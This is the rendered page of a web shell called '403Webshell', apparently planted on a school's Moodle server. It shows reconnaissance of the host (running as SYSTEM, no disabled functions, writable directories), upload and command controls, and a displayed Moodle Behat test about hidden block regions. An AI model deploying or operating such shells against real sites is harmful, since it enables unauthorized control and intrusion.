403Webshell
Server IP : 172.67.187.206  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/triamudom/tuprblearn/blocks/tests/behat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/triamudom/tuprblearn/blocks/tests/behat/hidden_block_region.feature
@core @core_block
Feature: Show hidden blocks in a docked block region when editing
  In order to edit blocks in a hidden region
  As a teacher
  I need to be able to see the blocks when editing is on

  Background:
    Given the following "courses" exist:
      | fullname | shortname | format |
      | Course 1 | C1 | topics |
    And the following "course enrolments" exist:
      | user | course | role |
      | admin | C1 | editingteacher |
    And I log in as "admin"
    And I am on "Course 1" course homepage with editing mode on
    And I add the "Search forums" block
    And I add the "Latest announcements" block
    And I add the "Upcoming events" block
    And I add the "Recent activity" block
    # Hide all the blocks in the non-default region
    And I configure the "Search forums" block
    And I set the following fields to these values:
      | Visible | No |
    And I click on "Save changes" "button"
    And I configure the "Latest announcements" block
    And I set the following fields to these values:
      | Visible | No |
    And I click on "Save changes" "button"
    And I configure the "Upcoming events" block
    And I set the following fields to these values:
      | Visible | No |
    And I click on "Save changes" "button"
    And I configure the "Recent activity" block
    And I set the following fields to these values:
      | Visible | No |
    When I click on "Save changes" "button"
    # Editing is on so they should be visible
    Then I should see "Search forums"
    And I should see "Latest announcements"
    And I should see "Upcoming events"
    And I should see "Recent activity"
    And I turn editing mode off
    # Editing is off, so they should no longer be visible
    And I should not see "Search forums"
    And I should not see "Latest announcements"
    And I should not see "Upcoming events"
    And I should not see "Recent activity"

  @javascript
  Scenario: Check that a region with only hidden blocks is not docked in editing mode (javascript enabled)

  Scenario: Check that a region with only hidden blocks is not docked in editing mode (javascript disabled)

Youez - 2016 - github.com/yon3zu
LinuXploit